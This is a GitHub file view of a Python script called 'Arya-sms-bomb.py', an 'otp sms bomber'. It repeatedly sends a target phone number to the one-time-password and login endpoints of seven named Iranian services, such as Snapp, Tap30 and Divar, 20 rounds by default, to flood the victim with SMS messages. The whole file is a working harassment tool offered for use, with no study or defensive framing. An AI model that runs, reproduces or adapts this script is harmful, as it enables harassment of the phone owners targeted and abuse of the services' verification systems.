-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathArya-sms-bomb.py
69 lines (50 loc) · 2.33 KB
/
Arya-sms-bomb.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# https://github.com/Aryakanani
from argparse import ArgumentParser
from urllib3 import PoolManager
from json import dumps
from time import sleep
from re import search
def send(cellphone):
http = PoolManager()
http.request("post", "https://app.snapp.taxi/api/api-passenger-oauth/v2/otp",
headers={'Content-Type': 'application/json'},
body=dumps({"cellphone": f"+98{cellphone}"}).encode())
http.request("post", "https://tap33.me/api/v2/user",
headers={'Content-Type': 'application/json'},
body=dumps({"credential": {"phoneNumber": f"0{cellphone}", "role": "PASSENGER"}}).encode())
http.request("post", "https://www.echarge.ir/m/login?length=19",
headers={'Content-Type': 'application/json'},
body=dumps({"phoneNumber": f'0{cellphone}'}).encode())
http.request("post", "https://api.divar.ir/v5/auth/authenticate",
headers={'Content-Type': 'application/json'},
body=dumps({"phone": f'0{cellphone}'}).encode())
http.request("post", "https://shadmessenger12.iranlms.ir/",
headers={'Content-Type': 'application/json'},
body=dumps({"phone": f'0{cellphone}'}).encode())
http.request("post", "https://messengerg2c4.iranlms.ir/",
headers={'Content-Type': 'application/json'},
body=dumps({"phone": f'+{cellphone}'}).encode())
http.request("post", "https://web.emtiyaz.app/json/login",
headers={'Content-Type': 'application/json'},
body=dumps({"phone": f'+98{cellphone}'}).encode())
def spam(args):
if (search(r'9\d{9}$', args.cellphone)):
for time in range(args.times):
print(f"\rSending sms {time+1}/{args.times}", end='')
try:
send(args.cellphone)
except KeyboardInterrupt:
exit()
sleep(2)
print('')
else:
print("error: invalid cellphone format, format: 9\d{9} e.g. 991****")
def main():
parser = ArgumentParser(prog="asmsb",
description="otp sms bomber",
epilog="By <Arya>")
parser.add_argument("cellphone", help="target cellphone: e.g. 902****")
parser.add_argument("--times", help="count of SMSs (per service!)", type=int, default=20)
spam(parser.parse_args())
if (__name__ == "__main__"):
main()